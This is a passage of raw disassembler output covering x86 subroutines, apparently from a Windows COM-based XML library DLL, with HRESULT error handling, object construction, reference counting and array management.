mov dword ptr [esi+4], offset off_69B2908C
mov dword ptr [esi+0Ch], offset off_69B27934
mov dword ptr [esi+18h], offset off_69B278F8
call sub_69B1BF48
mov ecx, [esp+4+arg_0]
call sub_69B3DABE
push eax
lea ecx, [esi+20h]
call sub_69B1E084
mov eax, esi
pop esi
retn 4
sub_69B3CDC8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B3CE0F proc near ; DATA XREF: .text:69B123A0o
var_C = byte ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
cmp [ebp+arg_4], 0
jnz short loc_69B3CE22
mov eax, 80004003h
jmp short locret_69B3CE6A
; ---------------------------------------------------------------------------
loc_69B3CE22: ; CODE XREF: sub_69B3CE0F+Aj
push edi
call dword_69B92948
mov edi, eax
test edi, edi
jnz short loc_69B3CE36
mov eax, 80004005h
jmp short loc_69B3CE69
; ---------------------------------------------------------------------------
loc_69B3CE36: ; CODE XREF: sub_69B3CE0F+1Ej
push esi
mov esi, [ebp+arg_0]
lea ecx, [esi+0Ch]
call sub_69B87FDC
push eax
push edi
lea ecx, [ebp+var_C]
call sub_69B1A8C7
push [ebp+arg_4]
push esi
call sub_69B3CB9A
lea ecx, [ebp+var_C]
mov esi, eax
call sub_69B1976C
push edi
call dword_69B92944
mov eax, esi
pop esi
loc_69B3CE69: ; CODE XREF: sub_69B3CE0F+25j
pop edi
locret_69B3CE6A: ; CODE XREF: sub_69B3CE0F+11j
leave
retn 8
sub_69B3CE0F endp
; =============== S U B R O U T I N E =======================================
sub_69B3CE6E proc near ; DATA XREF: .text:69B1C818o
; .text:69B1C828o
push 20h
push offset dword_69B3CEF8
call sub_69B19C5C
push 1
lea ecx, [ebp-24h]
call sub_69B11D3B
and dword ptr [ebp-4], 0
push 78h
call sub_69B1D897
mov ecx, eax
mov [ebp-28h], ecx
test ecx, ecx
jz short loc_69B3CE9F
call sub_69B3CC8F
jmp short loc_69B3CEA1
; ---------------------------------------------------------------------------
loc_69B3CE9F: ; CODE XREF: sub_69B3CE6E+28j
xor eax, eax
loc_69B3CEA1: ; CODE XREF: sub_69B3CE6E+2Fj
mov esi, eax
mov [ebp-2Ch], esi
mov eax, [esi]
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
push esi
call dword ptr [eax]
mov [ebp-30h], eax
mov eax, [esi]
push esi
call dword ptr [eax+8]
jmp short loc_69B3CEDD
; ---------------------------------------------------------------------------
loc_69B3CEBC: ; DATA XREF: .text:69B3CEFCo
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B3CEC5: ; DATA XREF: .text:69B3CF00o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov [ebp-30h], eax
loc_69B3CEDD: ; CODE XREF: sub_69B3CE6E+4Cj
or dword ptr [ebp-4], 0FFFFFFFFh
lea ecx, [ebp-24h]
call sub_69B1976C
mov eax, [ebp-30h]
call sub_69B1853C
retn 8
sub_69B3CE6E endp
; ---------------------------------------------------------------------------
align 8
dword_69B3CEF8 dd 0FFFFFFFFh dd offset loc_69B3CEBC
dd offset loc_69B3CEC5
; =============== S U B R O U T I N E =======================================
sub_69B3CF04 proc near ; DATA XREF: .text:69B123D8o
arg_4 = dword ptr 8
cmp [esp+arg_4], 0
jnz sub_69B3CB9A
mov eax, 80004003h
retn 8
sub_69B3CF04 endp
; =============== S U B R O U T I N E =======================================
sub_69B3CF17 proc near ; DATA XREF: .text:69B14A9Co
push esi
mov esi, ecx
mov eax, [esi+8]
test eax, eax
push edi
lea edi, [esi+0Ch]
jz short loc_69B3CF36
push ebx
mov ebx, eax
loc_69B3CF28: ; CODE XREF: sub_69B3CF17+1Cj
mov ecx, edi
call sub_69B3CF3F
add edi, 10h
dec ebx
jnz short loc_69B3CF28
pop ebx
loc_69B3CF36: ; CODE XREF: sub_69B3CF17+Cj
pop edi
mov ecx, esi
pop esi
jmp nullsub_5
sub_69B3CF17 endp
; =============== S U B R O U T I N E =======================================
sub_69B3CF3F proc near ; CODE XREF: sub_69B3CF17+13p
push esi
mov esi, ecx
lea eax, [esi+0Ch]
push eax
call sub_69B17230
lea eax, [esi+4]
push eax
call sub_69B17230
push esi
call sub_69B17230
pop esi
retn
sub_69B3CF3F endp
; =============== S U B R O U T I N E =======================================
sub_69B3CF5C proc near ; DATA XREF: .text:69B1C6C8o
push 1Ch
push offset dword_69B3CFE0
call sub_69B19C5C
mov edi, 80004005h
push 0
lea ecx, [ebp-24h]
call sub_69B11D3B
and dword ptr [ebp-4], 0
call sub_69B5E2ED
mov esi, eax
mov [ebp-28h], esi
test esi, esi
jz short loc_69B3CFC9
mov eax, [esi]
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
push esi
call dword ptr [eax]
mov edi, eax
mov [ebp-2Ch], edi
mov eax, [esi]
push esi
call dword ptr [eax+8]
jmp short loc_69B3CFC9
; ---------------------------------------------------------------------------
loc_69B3CFA1: ; DATA XREF: .text:69B3CFE4o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B3CFAA: ; DATA XREF: .text:69B3CFE8o
mov esp, [ebp-18h]
lea ecx, [ebp-24h]
call sub_69B2D599
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov edi, eax
loc_69B3CFC9: ; CODE XREF: sub_69B3CF5C+2Bj
; sub_69B3CF5C+43j
or dword ptr [ebp-4], 0FFFFFFFFh
lea ecx, [ebp-24h]
call sub_69B1976C
mov eax, edi
call sub_69B1853C
retn 8
sub_69B3CF5C endp ; sp-analysis failed
; ---------------------------------------------------------------------------
align 10h
dword_69B3CFE0 dd 0FFFFFFFFh dd offset loc_69B3CFA1
dd offset loc_69B3CFAA
; =============== S U B R O U T I N E =======================================
sub_69B3CFEC proc near ; CODE XREF: sub_69B3D05C+27p
; sub_69B3D099+17p
push 10h
push offset dword_69B3D050
call sub_69B19C5C
and dword ptr [ebp-4], 0
call sub_69B1BCCF
mov esi, eax
mov [ebp-1Ch], esi
mov byte ptr [esi+8Ch], 1
push 1
mov ecx, esi
call sub_69B1D6A4
mov eax, [esi]
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
push esi
call dword ptr [eax]
mov [ebp-20h], eax
jmp short loc_69B3D044
; ---------------------------------------------------------------------------
loc_69B3D026: ; DATA XREF: .text:69B3D054o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B3D02F: ; DATA XREF: .text:69B3D058o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
loc_69B3D044: ; CODE XREF: sub_69B3CFEC+38j
or dword ptr [ebp-4], 0FFFFFFFFh
call sub_69B1853C
retn 8
sub_69B3CFEC endp
; ---------------------------------------------------------------------------
dword_69B3D050 dd 0FFFFFFFFh dd offset loc_69B3D026
dd offset loc_69B3D02F
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B3D05C proc near ; DATA XREF: .text:69B1C7C8o
; .text:69B1C7D8o ...
var_C = byte ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
push esi
push 1
lea ecx, [ebp+var_C]
call sub_69B11D3B
cmp dword_69B9296C, 0
jz short loc_69B3D07D
mov esi, 80004001h
jmp short loc_69B3D08A
; ---------------------------------------------------------------------------
loc_69B3D07D: ; CODE XREF: sub_69B3D05C+18j
push [ebp+arg_4]
push [ebp+arg_0]
call sub_69B3CFEC
mov esi, eax
loc_69B3D08A: ; CODE XREF: sub_69B3D05C+1Fj
lea ecx, [ebp+var_C]
call sub_69B1976C
mov eax, esi
pop esi
leave
retn 8
sub_69B3D05C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B3D099 proc near ; CODE XREF: sub_69B5DCDA+1Dp
; sub_69B7C4A6+46p
; DATA XREF: ...
var_C = byte ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
push esi
push 0
lea ecx, [ebp+var_C]
call sub_69B11D3B
push [ebp+arg_4]
push [ebp+arg_0]
call sub_69B3CFEC
lea ecx, [ebp+var_C]
mov esi, eax
call sub_69B1976C
mov eax, esi
pop esi
leave
retn 8
sub_69B3D099 endp
; =============== S U B R O U T I N E =======================================
sub_69B3D0C6 proc near ; DATA XREF: .text:69B1C698o
; .text:69B1C6A8o ...
push 24h
push offset dword_69B3D170
call sub_69B19C5C
push 0
lea ecx, [ebp-24h]
call sub_69B11D3B
and dword ptr [ebp-4], 0
call sub_69B778A6
mov esi, eax
mov [ebp-28h], esi
push 1
mov ecx, esi
call sub_69B1D6A4
mov byte ptr [esi+8Ch], 1
push 44h
call sub_69B1D897
mov ecx, eax
mov [ebp-2Ch], ecx
test ecx, ecx
jz short loc_69B3D112
push esi
call sub_69B5D774
jmp short loc_69B3D114
; ---------------------------------------------------------------------------
loc_69B3D112: ; CODE XREF: sub_69B3D0C6+42j
xor eax, eax
loc_69B3D114: ; CODE XREF: sub_69B3D0C6+4Aj
mov esi, eax
mov [ebp-30h], esi
mov eax, [esi]
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
push esi
call dword ptr [eax]
mov [ebp-34h], eax
mov eax, [esi]
push esi
call dword ptr [eax+8]
jmp short loc_69B3D158
; ---------------------------------------------------------------------------
loc_69B3D12F: ; DATA XREF: .text:69B3D174o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B3D138: ; DATA XREF: .text:69B3D178o
mov esp, [ebp-18h]
lea ecx, [ebp-24h]
call sub_69B2D599
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov [ebp-34h], eax
loc_69B3D158: ; CODE XREF: sub_69B3D0C6+67j
or dword ptr [ebp-4], 0FFFFFFFFh
lea ecx, [ebp-24h]
call sub_69B1976C
mov eax, [ebp-34h]
call sub_69B1853C
retn 8
sub_69B3D0C6 endp
; ---------------------------------------------------------------------------
align 10h
dword_69B3D170 dd 0FFFFFFFFh dd offset loc_69B3D12F
dd offset loc_69B3D138
; =============== S U B R O U T I N E =======================================
sub_69B3D17C proc near ; CODE XREF: sub_69B3D903+54p
; sub_69B5FFCF+66p
arg_0 = byte ptr 4
arg_4 = dword ptr 8
cmp [esp+arg_0], 0
push [esp+arg_4]
jz short loc_69B3D18E
call sub_69B5FB10
jmp short locret_69B3D193
; ---------------------------------------------------------------------------
loc_69B3D18E: ; CODE XREF: sub_69B3D17C+9j
call sub_69B62A56
locret_69B3D193: ; CODE XREF: sub_69B3D17C+10j
retn 8
sub_69B3D17C endp
; =============== S U B R O U T I N E =======================================
sub_69B3D196 proc near ; CODE XREF: sub_69B3D1DE+Ap
; sub_69B3DD97+14p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
push 0C4h
call sub_69B11E44
test eax, eax
jz short loc_69B3D1B4
push [esp+4+arg_8]
mov ecx, eax
call sub_69B39325
mov esi, eax
jmp short loc_69B3D1B6
; ---------------------------------------------------------------------------
loc_69B3D1B4: ; CODE XREF: sub_69B3D196+Dj
xor esi, esi
loc_69B3D1B6: ; CODE XREF: sub_69B3D196+1Cj
test esi, esi
jnz short loc_69B3D1C1
mov eax, 8007000Eh
jmp short loc_69B3D1DA
; ---------------------------------------------------------------------------
loc_69B3D1C1: ; CODE XREF: sub_69B3D196+22j
mov eax, [esi]
push edi
push [esp+8+arg_4]
push [esp+0Ch+arg_0]
push esi
call dword ptr [eax]
mov edi, eax
mov eax, [esi]
push esi
call dword ptr [eax+8]
mov eax, edi
pop edi
loc_69B3D1DA: ; CODE XREF: sub_69B3D196+29j
pop esi
retn 0Ch
sub_69B3D196 endp
; =============== S U B R O U T I N E =======================================
sub_69B3D1DE proc near ; DATA XREF: .text:69B1C6D8o
; .text:69B1C6E8o ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push 1
push [esp+4+arg_4]
push [esp+8+arg_0]
call sub_69B3D196
retn 8
sub_69B3D1DE endp
; =============== S U B R O U T I N E =======================================
sub_69B3D1F0 proc near ; CODE XREF: sub_69B3F49B+3j
; .text:69B3F4D0j ...
mov eax, offset off_69B3D1F8
retn
sub_69B3D1F0 endp
; ---------------------------------------------------------------------------
align 4
off_69B3D1F8 dd offset off_69B2B19C ; DATA XREF: sub_69B3D1F0o
dd offset sub_69B6860C
; =============== S U B R O U T I N E =======================================
sub_69B3D200 proc near ; CODE XREF: sub_69B3D2F2+20p
; sub_69B3D2F2+3Cp ...
push 10h
push offset dword_69B3D278
call sub_69B19C5C
mov edi, ecx
mov [ebp-1Ch], edi
lea esi, [edi+54h]
mov ebx, [esi]
test ebx, ebx
jz short loc_69B3D21F
cmp ebx, 0FFFFFFFFh
jnz short loc_69B3D269
loc_69B3D21F: ; CODE XREF: sub_69B3D200+18j
push esi ; Target
call sub_69B18980
mov [ebp-20h], eax
test eax, eax
jnz short loc_69B3D25F
and [ebp-4], eax
lea eax, [ebp-20h]
push eax
mov ecx, edi
call sub_69B1D8A8
jmp short loc_69B3D25B
; ---------------------------------------------------------------------------
loc_69B3D23C: ; DATA XREF: .text:69B3D27Co
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B3D245: ; DATA XREF: .text:69B3D280o
mov esp, [ebp-18h]
mov esi, [ebp-1Ch]
add esi, 54h
push 0
push esi
call sub_69B18788
call sub_69B2E860
loc_69B3D25B: ; CODE XREF: sub_69B3D200+3Aj
or dword ptr [ebp-4], 0FFFFFFFFh
loc_69B3D25F: ; CODE XREF: sub_69B3D200+2Aj
mov ebx, [ebp-20h]
push ebx
push esi
call sub_69B18788
loc_69B3D269: ; CODE XREF: sub_69B3D200+1Dj
mov eax, ebx
call sub_69B1853C
retn
sub_69B3D200 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
align 8
dword_69B3D278 dd 0FFFFFFFFh dd offset loc_69B3D23C
dd offset loc_69B3D245
; =============== S U B R O U T I N E =======================================
sub_69B3D284 proc near ; DATA XREF: .text:69B1BFCCo
; .text:69B22094o
xor eax, eax
xor edx, edx
retn
sub_69B3D284 endp
; [00000003 BYTES: COLLAPSED FUNCTION nullsub_6. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B3D28C proc near ; DATA XREF: .text:69B1243Co
; .text:69B21FACo
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
cmp [ebp+arg_0], 0
push esi
mov esi, ecx
jz short loc_69B3D2A2
push 80040104h
call sub_69B2E8B8
loc_69B3D2A2: ; CODE XREF: sub_69B3D28C+Aj
cmp [ebp+arg_4], 17h
jnz short loc_69B3D2E0
lea edx, [ebp+arg_0]
push edx
lea eax, [esi-2Ch]
mov ecx, [eax]
push offset stru_69B25E34
push eax
call dword ptr [ecx]
mov esi, eax
test esi, esi
jl short loc_69B3D2DA
mov eax, [ebp+arg_0]
mov ecx, [eax]
push eax
call dword ptr [ecx+100h]
mov esi, eax
mov eax, [ebp+arg_0]
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
test esi, esi
jge short loc_69B3D2E0
loc_69B3D2DA: ; CODE XREF: sub_69B3D28C+31j
push esi
call sub_69B2E8B8
loc_69B3D2E0: ; CODE XREF: sub_69B3D28C+1Aj
; sub_69B3D28C+4Cj
push 0 ; BSTR
call SysFreeString
pop esi
pop ebp
retn 14h
sub_69B3D28C endp
; ---------------------------------------------------------------------------
jmp sub_69B1E570
; =============== S U B R O U T I N E =======================================
sub_69B3D2F2 proc near ; CODE XREF: sub_69B166C0+61p
; sub_69B3DC8C+45p ...
push 10h
push offset dword_69B3D3B0
call sub_69B19C5C
mov edi, ecx
call sub_69B17275
test eax, eax
jz short loc_69B3D310
xor esi, esi
mov [ebp-1Ch], esi
jmp short loc_69B3D31C
; ---------------------------------------------------------------------------
loc_69B3D310: ; CODE XREF: sub_69B3D2F2+15j
mov ecx, edi
call sub_69B3D200
mov [ebp-1Ch], eax
xor esi, esi
loc_69B3D31C: ; CODE XREF: sub_69B3D2F2+1Cj
cmp [ebp-1Ch], esi
jz short loc_69B3D329
mov ecx, [ebp-1Ch]
call sub_69B2E22D
loc_69B3D329: ; CODE XREF: sub_69B3D2F2+2Dj
mov [ebp-4], esi
mov ecx, edi
call sub_69B3D200
push eax
push edi
push esi
push esi
push dword ptr [ebp+14h]
push esi
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
call sub_69B49219
mov [ebp-20h], eax
jmp short loc_69B3D36B
; ---------------------------------------------------------------------------
loc_69B3D34B: ; DATA XREF: .text:69B3D3B4o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B3D354: ; DATA XREF: .text:69B3D3B8o
mov esp, [ebp-18h]
xor esi, esi
cmp [ebp-1Ch], esi
jz short loc_69B3D366
mov ecx, [ebp-1Ch]
call sub_69B2E238
loc_69B3D366: ; CODE XREF: sub_69B3D2F2+6Aj
call sub_69B2E860
loc_69B3D36B: ; CODE XREF: sub_69B3D2F2+57j
or dword ptr [ebp-4], 0FFFFFFFFh
cmp [ebp-1Ch], esi
jz short loc_69B3D37C
mov ecx, [ebp-1Ch]
call sub_69B2E238
loc_69B3D37C: ; CODE XREF: sub_69B3D2F2+80j
cmp [ebp+10h], esi
jz short loc_69B3D3A1
push esi
push dword ptr [ebp-20h]
mov ecx, [ebp+10h]
call sub_69B499AC
cmp dword ptr [ebp+18h], 1
jnz short loc_69B3D3A1
push esi
push esi
push esi
push dword ptr [ebp+10h]
mov ecx, [ebp-20h]
call sub_69B4B0C7
loc_69B3D3A1: ; CODE XREF: sub_69B3D2F2+8Dj
; sub_69B3D2F2+9Fj
mov eax, [ebp-20h]
call sub_69B1853C
retn 14h
sub_69B3D2F2 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
align 10h
dword_69B3D3B0 dd 0FFFFFFFFh dd offset loc_69B3D34B
dd offset loc_69B3D354
; =============== S U B R O U T I N E =======================================
sub_69B3D3BC proc near ; CODE XREF: sub_69B49F3F+F9p
arg_0 = dword ptr 4
push esi
lea esi, [ecx+30h]
cmp dword ptr [esi], 0
jnz short loc_69B3D3E7
push edi
mov edi, [esp+8+arg_0]
mov ecx, edi
call sub_69B17355
push 0
push edi
push esi
call dword_69B92950 ; InterlockedCompareExchange
test eax, eax
jz short loc_69B3D3E6
mov ecx, edi
call sub_69B183BB
loc_69B3D3E6: ; CODE XREF: sub_69B3D3BC+21j
pop edi
loc_69B3D3E7: ; CODE XREF: sub_69B3D3BC+7j
pop esi
retn 4
sub_69B3D3BC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B3D3EB proc near ; CODE XREF: sub_69B3D989+1Ap
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 14h
push ebx
mov ebx, ecx
lea eax, [ebx+0Ch]
push esi
push eax ; Target
mov [ebp+var_14], eax
call sub_69B18980
mov [ebp+var_10], eax
mov eax, [ebx+4]
xor ecx, ecx
cmp [ebx], eax
jge short loc_69B3D423
test eax, eax
jle short loc_69B3D48B
mov edx, [ebx+8]
loc_69B3D414: ; CODE XREF: sub_69B3D3EB+34j
cmp dword ptr [edx], 0
jz short loc_69B3D48B
inc ecx
add edx, 4
cmp ecx, eax
jl short loc_69B3D414
jmp short loc_69B3D48B
; ---------------------------------------------------------------------------
loc_69B3D423: ; CODE XREF: sub_69B3D3EB+20j
mov ecx, [ebx+8]
mov [ebp+var_C], eax
add eax, 8
mov esi, eax
shl esi, 2
push esi
mov [ebp+var_8], eax
mov [ebp+var_4], ecx
call sub_69B11E44
mov edx, eax
test edx, edx
jnz short loc_69B3D44A
mov esi, 8007000Eh
jmp short loc_69B3D498
; ---------------------------------------------------------------------------
loc_69B3D44A: ; CODE XREF: sub_69B3D3EB+56j
push edi
mov ecx, esi
shr ecx, 2
xor eax, eax
mov edi, edx
rep stosd
push [ebp+var_4]
mov ecx, esi
mov esi, [ebp+var_4]
and ecx, 3
rep stosb
mov ecx, [ebx+4]
shl ecx, 2
mov eax, ecx
shr ecx, 2
mov edi, edx
rep movsd
mov ecx, eax
mov eax, [ebp+var_8]
and ecx, 3
rep movsb
mov [ebx+8], edx
mov [ebx+4], eax
call sub_69B1B2B7
mov ecx, [ebp+var_C]
pop edi
loc_69B3D48B: ; CODE XREF: sub_69B3D3EB+24j
; sub_69B3D3EB+2Cj ...
mov eax, [ebx+8]
mov edx, [ebp+arg_0]
mov [eax+ecx*4], edx
inc dword ptr [ebx]
xor esi, esi
loc_69B3D498: ; CODE XREF: sub_69B3D3EB+5Dj
push [ebp+var_10]
push [ebp+var_14]
call sub_69B18788
mov eax, esi
pop esi
pop ebx
leave
retn 4
sub_69B3D3EB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B3D4AB proc near ; CODE XREF: sub_69B3D9B7+21p
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push esi
push edi
mov esi, ecx
lea edi, [esi+0Ch]
push edi ; Target
call sub_69B18980
mov ecx, [esi+8]
xor edx, edx
cmp ecx, edx
mov [ebp+var_4], eax
jz short loc_69B3D4E9
cmp [esi+4], edx
jle short loc_69B3D4E9
push ebx
mov ebx, ecx
loc_69B3D4D0: ; CODE XREF: sub_69B3D4AB+33j
mov eax, [ebx]
cmp eax, [ebp+arg_0]
jz short loc_69B3D4E2
inc edx
add ebx, 4
cmp edx, [esi+4]
jl short loc_69B3D4D0
jmp short loc_69B3D4E8
; ---------------------------------------------------------------------------
loc_69B3D4E2: ; CODE XREF: sub_69B3D4AB+2Aj
and dword ptr [ecx+edx*4], 0
dec dword ptr [esi]
loc_69B3D4E8: ; CODE XREF: sub_69B3D4AB+35j
pop ebx
loc_69B3D4E9: ; CODE XREF: sub_69B3D4AB+1Bj
; sub_69B3D4AB+20j
push [ebp+var_4]
push edi
call sub_69B18788
pop edi
pop esi
leave
retn 4
sub_69B3D4AB endp
; =============== S U B R O U T I N E =======================================
sub_69B3D4F8 proc near ; CODE XREF: sub_69B3D963+12p
arg_0 = dword ptr 4
mov eax, [ecx+8]
test eax, eax
jz short loc_69B3D514
mov ecx, [ecx+4]
jmp short loc_69B3D510
; ---------------------------------------------------------------------------
loc_69B3D504: ; CODE XREF: sub_69B3D4F8+1Aj
mov edx, [eax]
dec ecx
add eax, 4
cmp edx, [esp+arg_0]
jz short loc_69B3D519
loc_69B3D510: ; CODE XREF: sub_69B3D4F8+Aj
test ecx, ecx
jnz short loc_69B3D504
loc_69B3D514: ; CODE XREF: sub_69B3D4F8+5j
xor al, al
locret_69B3D516: ; CODE XREF: sub_69B3D4F8+23j
retn 4
; ---------------------------------------------------------------------------
loc_69B3D519: ; CODE XREF: sub_69B3D4F8+16j
mov al, 1
jmp short locret_69B3D516
sub_69B3D4F8 endp
; =============== S U B R O U T I N E =======================================
sub_69B3D51D proc near ; CODE XREF: sub_69B3F10D+55p
; sub_69B89C91+24p
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
test edx, edx
jnz short loc_69B3D529
cmp [ecx], edx
jz short loc_69B3D534
loc_69B3D529: ; CODE XREF: sub_69B3D51D+6j
mov eax, [ecx]
test eax, eax
jz short loc_69B3D539
cmp [eax+0Ch], edx
jnz short loc_69B3D539
loc_69B3D534: ; CODE XREF: sub_69B3D51D+Aj
xor eax, eax
inc eax
jmp short locret_69B3D53B
; ---------------------------------------------------------------------------
loc_69B3D539: ; CODE XREF: sub_69B3D51D+10j
; sub_69B3D51D+15j
xor eax, eax
locret_69B3D53B: ; CODE XREF: sub_69B3D51D+1Aj
retn 4
sub_69B3D51D endp
; =============== S U B R O U T I N E =======================================
sub_69B3D53E proc near ; CODE XREF: sub_69B41BEC+10Ep
; sub_69B435DC+124p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push 1
push [esp+4+arg_8]
push 0
push [esp+0Ch+arg_4]
push [esp+10h+arg_0]
call sub_69B4C674
retn 0Ch
sub_69B3D53E endp
; =============== S U B R O U T I N E =======================================
sub_69B3D556 proc near ; CODE XREF: sub_69B41E9C+112p
; sub_69B435DC+10Ep
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push 1
push [esp+4+arg_8]
push [esp+8+arg_4]
push [esp+0Ch+arg_4]
push [esp+10h+arg_0]
call sub_69B4C674
retn 0Ch
sub_69B3D556 endp
; =============== S U B R O U T I N E =======================================
sub_69B3D570 proc near ; CODE XREF: sub_69B40A6C+B8p
; sub_69B40CBC+B1p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push 1
push [esp+4+arg_4]
push [esp+8+arg_0]
push 0
push 0
call sub_69B4C674
retn 8
sub_69B3D570 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B3D586 proc near ; CODE XREF: sub_69B3FB2F+9Bp
; sub_69B4202C+8Ep ...
var_18 = byte ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = byte ptr -0Ch
var_8 = dword ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = byte ptr 18h
push ebp
mov ebp, esp
sub esp, 18h
mov al, [ebp+arg_4]
and [ebp+var_8], 0
mov [ebp+var_18], al
mov eax, [ebp+arg_8]
mov [ebp+var_14], eax
mov eax, [ebp+arg_C]
mov [ebp+var_10], eax
mov al, [ebp+arg_10]
mov [ebp+var_C], al
lea eax, [ebp+var_18]
push eax
push [ebp+arg_0]
mov [ebp+var_4], 0
call sub_69B497AC
leave
retn 14h
sub_69B3D586 endp
; =============== S U B R O U T I N E =======================================
sub_69B3D5BC proc near ; CODE XREF: sub_69B3E5A2+1Cp
; sub_69B49D8E+93p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push 5
pop ecx
cmp [esp+arg_4], ecx
jnz short loc_69B3D5DC
push esi
mov esi, [esp+4+arg_0]
push edi
mov edi, offset aXmlns ; "xmlns"
xor eax, eax
repe cmpsw
pop edi
pop esi
jnz short loc_69B3D5DC
inc eax
jmp short locret_69B3D5DE
; ---------------------------------------------------------------------------
loc_69B3D5DC: ; CODE XREF: sub_69B3D5BC+7j
; sub_69B3D5BC+1Bj
xor eax, eax
locret_69B3D5DE: ; CODE XREF: sub_69B3D5BC+1Ej
retn 8
sub_69B3D5BC endp
; =============== S U B R O U T I N E =======================================
sub_69B3D5E1 proc near ; CODE XREF: sub_69B3F552+3j
; DATA XREF: .text:69B124C0o ...
arg_0 = dword ptr 4
cmp byte ptr [ecx+69h], 0
push esi
push edi
jz short loc_69B3D5FE
cmp dword ptr [ecx+0BCh], 0
mov esi, offset dword_69B12158
jz short loc_69B3D603
mov esi, (offset dword_69B12128+10h)
jmp short loc_69B3D603
; ---------------------------------------------------------------------------
loc_69B3D5FE: ; CODE XREF: sub_69B3D5E1+6j
mov esi, offset dword_69B12128
loc_69B3D603: ; CODE XREF: sub_69B3D5E1+14j
; sub_69B3D5E1+1Bj
mov eax, [esp+8+arg_0]
mov edi, eax
movsd
movsd
movsd
movsd
pop edi
pop esi
retn 4
sub_69B3D5E1 endp
; =============== S U B R O U T I N E =======================================
sub_69B3D612 proc near ; CODE XREF: sub_69B3D622+56p
mov eax, [ecx+50h]
mov eax, [eax+5Ch]
shl eax, 8
push eax
call sub_69B2D6CE
retn
sub_69B3D612 endp
; =============== S U B R O U T I N E =======================================
sub_69B3D622 proc near ; CODE XREF: sub_69B3E044+8p
; sub_69B3EF5A+6Fp ...
push 28h
push offset dword_69B3D6B8
call sub_69B19C5C
mov esi, ecx
mov eax, [esi+4Ch]
xor ebx, ebx
cmp eax, ebx
jz short loc_69B3D6AA
push ebx
lea ecx, [ebp-34h]
call sub_69B2DC5B
mov [ebp-4], ebx
mov ecx, [esi+4Ch]
mov [ebp-38h], ecx
push dword ptr [ebp+8]
cmp [ebp+8], bl
setz al
push eax
push ebx
call sub_69B4B74A
lea ecx, [ebp-34h]
call sub_69B2DA65
lea ecx, [ebp-34h]
call sub_69B2D6DB
mov ecx, esi
call sub_69B17275
test eax, eax
jnz short loc_69B3D69E
mov ecx, esi
call sub_69B3D612
push ebx
call sub_69B18C0C
jmp short loc_69B3D69E
; ---------------------------------------------------------------------------
loc_69B3D685: ; DATA XREF: .text:69B3D6BCo
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B3D68E: ; DATA XREF: .text:69B3D6C0o
mov esp, [ebp-18h]
lea ecx, [ebp-34h]
call sub_69B2D6DB
call sub_69B2E860
loc_69B3D69E: ; CODE XREF: sub_69B3D622+52j
; sub_69B3D622+61j
or dword ptr [ebp-4], 0FFFFFFFFh
lea ecx, [ebp-34h]
call sub_69B2DBD4
loc_69B3D6AA: ; CODE XREF: sub_69B3D622+15j
call sub_69B1853C
retn 4
sub_69B3D622 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
align 8
dword_69B3D6B8 dd 0FFFFFFFFh dd offset loc_69B3D685
dd offset loc_69B3D68E
; =============== S U B R O U T I N E =======================================
sub_69B3D6C4 proc near ; CODE XREF: sub_69B3C634+114p
